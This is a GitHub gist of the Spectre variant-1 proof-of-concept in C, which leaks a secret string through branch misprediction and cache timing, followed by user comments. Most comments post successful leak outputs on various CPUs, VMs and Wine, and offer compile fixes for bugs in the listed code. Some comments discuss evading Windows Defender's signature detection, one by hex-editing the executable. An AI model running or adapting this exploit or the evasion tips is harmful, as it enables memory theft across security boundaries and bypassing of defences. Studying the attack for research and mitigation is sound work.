Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
@MarkJurich
Copy link

MarkJurich commented Jan 11, 2018

@Menny11:

Have you seen this post about possibly fencing the timer calls to ensure serialization?:
https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2314165

... That's all I can think of, at the moment.

| I was able to get results using an older Intel Penryn CPU and created a code fork in the repository. This code uses a suggestion made earlier:
| https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2312432
| CPU Specifics: Intel Core 2 Duo CPU T9400 @ 2.53GHz (Code Name: Penryn)
| Warning! ... Very slow. May have to ^c out of it. Must tickle cache by opening window folder views if it stalls and there will still be
| a couple/few wrong characters, but this one time out of about 100 tries, I got a clean result:
| https://gist.github.com/MarkJurich/319a23a7d362d355480fd7ac659c2618
image

@MarkJurich
Copy link

MarkJurich commented Jan 11, 2018

@apps4u:

Perhaps the security update in question, prevents Inter-Application Spectre Attacks, but is ineffective with Intra-Application Spectre Attacks? If that is the case, it is effectively preventing the worst type of Spectre Attacks, which is a good thing. Unfortunately, no one has published a working Spectre Attack Example on a secure/privileged segment, as far as I know, so far, so it would be difficult to test. This code is suppose to accept command arguments to possibly allow this, but no one has got it to work or showed a working example, that I know...

It will be much more difficult to prevent this example code that attacks itself, as mentioned earlier...

... Sorry I can't help further, but thought I should comment. Thanks for bringing the update to our attention, though. Perhaps someone else with more knowledge will comment, soon.

| Answered better in: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2317924

@aoprea1982
Copy link

aoprea1982 commented Jan 11, 2018

Ubuntu 16.04.3 LTS
Intel(R) Xeon(R) CPU E5-1620 0 @ 3.60GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
spectre

@aoprea1982
Copy link

aoprea1982 commented Jan 11, 2018

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

@spartanthe
Copy link

spartanthe commented Jan 11, 2018

@apps4u:

Description: macOS High Sierra 10.13.2 Supplemental Update includes security improvements to Safari and WebKit to mitigate the effects of Spectre (CVE-2017-5753 and CVE-2017-5715).

They rolled out updates for the browser, not native apps.

@unzueta
Copy link

unzueta commented Jan 11, 2018

Works in Windows Build 17063 prerelease With i5-7400 CPU. It is detected by Windows defender, however.
Compiled with Microsoft C/C++ Compiler
image
image

@mikorist
Copy link

mikorist commented Jan 11, 2018

This is completely crazy.
Works also through Wine Emulator.
wine

@alexs77
Copy link

alexs77 commented Jan 11, 2018

Doesn't compile here on Ubuntu 16.04 with gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.5).

14:31:38 [ask@ewzw071:~/tmp/müll]↥ 1 % gcc -march=athlon64 -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘readMemoryByte’:
spectre.c:89:15: error: too few arguments to function ‘__rdtscp’
       time1 = __rdtscp(); /* READ TIMER */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c:91:15: error: too few arguments to function ‘__rdtscp’
       time2 = __rdtscp() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
               ^
In file included from /usr/lib/gcc/x86_64-linux-gnu/5/include/x86intrin.h:27:0,
                 from spectre.c:8:
/usr/lib/gcc/x86_64-linux-gnu/5/include/ia32intrin.h:112:1: note: declared here
 __rdtscp (unsigned int *__A)
 ^
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:12: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
            ^

@MarkJurich
Copy link

MarkJurich commented Jan 11, 2018

@alexs77:

It looks like the rdtscp function requires at least one argument. The original source used "&junk" as the argument. I think if you put that back in everywhere, those errors will go away. Under Win7x64/MSVS2010, I had to define junk as an unsigned int instead of int. See my previous post for other fix-ups that might lead to a clean compilation:

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6#gistcomment-2316763

@MarkJurich
Copy link

MarkJurich commented Jan 11, 2018

@unzueta: Thanks for the info about Windows Defender/AV blocking it. It looks like we'll have to get a bit fancier, allowing us to continue testing with it, since MS is already kicking in Signature Detection.

@freakynit
Copy link

freakynit commented Jan 11, 2018

I was able to recover completely 💯

  • Reading 40 bytes:
    Reading at malicious_x = 0xfffffffffffffeb6... Success: 0x54=’T’ score=2
    Reading at malicious_x = 0xfffffffffffffeb7... Success: 0x68=’h’ score=15 (second best: 0x02 score=5)
    Reading at malicious_x = 0xfffffffffffffeb8... Success: 0x65=’e’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffeb9... Success: 0x02=’?’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffeba... Success: 0x4D=’M’ score=315 (second best: 0x02 score=155)
    Reading at malicious_x = 0xfffffffffffffebb... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xfffffffffffffebc... Success: 0x67=’g’ score=13 (second best: 0x02 score=4)
    Reading at malicious_x = 0xfffffffffffffebd... Success: 0x69=’i’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffebe... Success: 0x63=’c’ score=23 (second best: 0x02 score=9)
    Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x20=’ ’ score=529 (second best: 0x02 score=491)
    Reading at malicious_x = 0xfffffffffffffec0... Success: 0x57=’W’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec1... Success: 0x6F=’o’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=986 (second best: 0x02 score=663)
    Reading at malicious_x = 0xfffffffffffffec3... Success: 0x64=’d’ score=2
    Reading at malicious_x = 0xfffffffffffffec4... Success: 0x73=’s’ score=71 (second best: 0x02 score=33)
    Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=871 (second best: 0x02 score=726)
    Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=966 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=985 (second best: 0x02 score=596)
    Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x65=’e’ score=982 (second best: 0x02 score=752)
    Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=888 (second best: 0x02 score=677)
    Reading at malicious_x = 0xfffffffffffffeca... Success: 0x53=’S’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecb... Success: 0x71=’q’ score=357 (second best: 0x02 score=176)
    Reading at malicious_x = 0xfffffffffffffecc... Success: 0x75=’u’ score=2
    Reading at malicious_x = 0xfffffffffffffecd... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xfffffffffffffece... Success: 0x61=’a’ score=7 (second best: 0x02 score=1)
    Reading at malicious_x = 0xfffffffffffffecf... Success: 0x6D=’m’ score=281 (second best: 0x02 score=138)
    Reading at malicious_x = 0xfffffffffffffed0... Success: 0x69=’i’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed1... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xfffffffffffffed2... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xfffffffffffffed3... Success: 0x20=’ ’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed4... Success: 0x4F=’O’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed5... Success: 0x73=’s’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffed6... Success: 0x73=’s’ score=11 (second best: 0x02 score=3)
    Reading at malicious_x = 0xfffffffffffffed7... Success: 0x69=’i’ score=13 (second best: 0x01 score=4)
    Reading at malicious_x = 0xfffffffffffffed8... Success: 0x66=’f’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffed9... Success: 0x72=’r’ score=9 (second best: 0x02 score=2)
    Reading at malicious_x = 0xfffffffffffffeda... Success: 0x61=’a’ score=11 (second best: 0x01 score=3)
    Reading at malicious_x = 0xfffffffffffffedb... Success: 0x67=’g’ score=9 (second best: 0x01 score=2)
    Reading at malicious_x = 0xfffffffffffffedc... Success: 0x65=’e’ score=23 (second best: 0x01 score=9)
    Reading at malicious_x = 0xfffffffffffffedd... Success: 0x2E=’.’ score=2

@adrb
Copy link

adrb commented Jan 11, 2018

Architecture independent version, tested on ARM Allwinner H3 (not vulnerable) and Intel i7 (vulnerable):

https://github.com/adrb/public/tree/master/linux/spectre_multiarch

@kuleszdl
Copy link

kuleszdl commented Jan 11, 2018

@ewheelerinc thanks for the update. As expected, it works inside VMs as well. If you got a patched KVM-Host (e.g. CentOS7) and a non-patched VM (e.g. Debian stable), could you please test if it's still exploitable in the VM? (I expect it is...)

@kuleszdl
Copy link

kuleszdl commented Jan 11, 2018

@adrb: The Allwinner H3 uses cortex A7 cores, but it's good to confirm ARM's report about A7 not being affected.

@michael-brade
Copy link

michael-brade commented Jan 11, 2018

@kingsumos very nice find indeed! thank you!
It is just a little surprising... an i7-6700HQ, linux v4.9.74, no grsec, is supposedly not affected, but I don't believe that. I'll watch the repo and wait for improvements.

@adrb
Copy link

adrb commented Jan 11, 2018

@kuleszdl, well yes, I just had it at hand to test ;) But, as I mention, with that mod, you can test all kinds of architectures supported by Linux.

@carlosdamazio
Copy link

carlosdamazio commented Jan 12, 2018

Had to tweak a little bit.

1 - #define CACHE_HIT_THRESHOLD (80) - Add a space between the "namespace" (whatever you wanna call it) and the argument.
2 - printf("0x%02X=’%c’ score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); - Correct the formatting and instead of "?", replace by '?'.

PS: I'm not a low-level kind of guy, bear with me.

Got the expected output, which is kind of worrying, but no point to worry about it anyways. We're fucked.

@rhalff
Copy link

rhalff commented Jan 14, 2018

Strange, works for me although I have the intel-microcode patch already installed on ubuntu: https://usn.ubuntu.com/usn/usn-3531-1/

@hazg
Copy link

hazg commented Jan 18, 2018

Intel(R) Core(TM) i3 CPU 540 @ 3.07GHz

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb08... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffb09... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb0a... Success: 0x65=’e’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdffb0b... Success: 0x20=’ ’ score=7 (second best: 0x87 score=1)
...

AMD A8-4500M APU with Radeon(tm) HD Graphics

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebba... Success: 0xFF=’�’ score=0
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0xFF=’�’ score=0
...

@HenkPoley
Copy link

HenkPoley commented Jan 19, 2018

@rhalff The microcode does not fix within process Spectre exploitation. It only adds instructions for the OS to reset the branch predictor when switching between processes. Full mitigation of within process Spectre would require disabling branch prediction all together. Leading to Intel Atom <2013 speeds, at approximately 1/6th of the performance you have now.

@spartanthe
Copy link

spartanthe commented Jan 20, 2018

@HenkPoley The example is about in-process exploits. Browsers will fix it. I am not sure if virtual machines can be exploited this way. Somehow.

@Blastgraphic
Copy link

Blastgraphic commented Jan 22, 2018

There is an error in code:
#define CACHE_HIT_THRESHOLD(80) should be #define CACHE_HIT_THRESHOLD 80.

@xCuri0
Copy link

xCuri0 commented Feb 7, 2018

After changing #define CACHE_HIT_THRESHOLD(80) to #define CACHE_HIT_THRESHOLD (100) it worked on AMD A8-4500M running Ubuntu 16.04

@nhsloyola
Copy link

nhsloyola commented Feb 22, 2018

Could someone explain what this part of code is doing?

/* Time reads. Order is lightly mixed up to prevent stride prediction /
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /
READ TIMER */
junk = addr; / MEMORY ACCESS TO TIME /
time2 = __rdtscp(&junk) - time1; /
READ TIMER & COMPUTE ELAPSED TIME /
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /
cache hit - add +1 to score for this value */
}

@TechnoDon
Copy link

TechnoDon commented Aug 3, 2018

Added:
#include <conio.h>
#include <ctype.h>

printf("Press Any Key to Continue\n");
_getch();
return 0;
}

End:
// waits for a keypress before quitting when compiled as windows executable .exe

@TechnoDon
Copy link

TechnoDon commented Aug 4, 2018

i found something, if you hex edit the first byte from 4D to 00 windows defender completely ignores spectre.exe :o

@saikumarmungi
Copy link

saikumarmungi commented Sep 12, 2019

Is this code supposed to work on Ubuntu 18.04 (patched)?
It's working on mine!! Scary!

@dschlais93
Copy link

dschlais93 commented Sep 14, 2020

This code is very nice -- cleaver ways to switch between malicious and training x values, make parameterized and still work, etc.

Question: Can someone please explain why it's required to make array2 so large? I understand the 256 value needed for each possible ASCII code in the reload section of the code, and at least 64 times that value needed for 64B cache line size. However, I noticed changing array2[256 * 512] to something like array2[256 * 64] does not work. I cannot think of an architectural or microarchitectural reason for why this might be. In gem5 simulation, if you have larger L2s, it appears an even larger array2 size is needed. However, my understanding is the clflush instruction should remove the line from the entire cache heirarchy. It almost seems like array2 must be larger than L2 size, which doesn't make sense to me since it should be evicted each attack iteration...

@dschlais93
Copy link

dschlais93 commented Sep 14, 2020

Kali GNU/Linux Rolling (VM)
Intel(R) Core(TM) i7-4910MQ CPU @ 2.90GHz
gcc -std=c11 -o spectre spectre.c
+++++++++++++++++++++++++++++++
A steady score of 2.
Questions => What is the meaning of "score"?
=> Why the score difference between i7 and Xeon?

spectre2

Score represents how many cache hits of that value were detected. Cache hits shows likelihood that it was part of the secret charter attempting to be read. If out of all 256 ASCII values, that value is the only one to hit for 2 consecutive iterations, the code marks that as a successful read, which is why you're getting scores of 2 (high confidence). If other values also have cache hits, then it attempts to run the attack more until the value has at least (twice+5) more hits than any other value (ie, a score of 9 is required if some other value hit 2 times -- (2*2+5))

If you have the same binary, it's checking for the same timing differences to determine cache hits from misses. i7 and Xeon can have different scores due to microarchitectural differences of cache delays, prefetchers, branch predictors, etc. . The timing of cache hits and misses are processor dependent, and may need adjustments to the CACHE_HIT_THRESHOLD value. Also, if features such as SMT/HyperThreading are enabled on one, this can also impact the timing as the process runs.

@RomanSelischev
Copy link

RomanSelischev commented Jan 19, 2022

Ryzen 7 5800hs win 10 21H2

does not work, disabled the patch in windows 10 disabled all optimizations and checks in VS 2022, tried all possible CACHE_HIT_THRESHOLD (20, 40, 60, 80, 100, 120, 300, 800). What should I do to make the program work?

image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment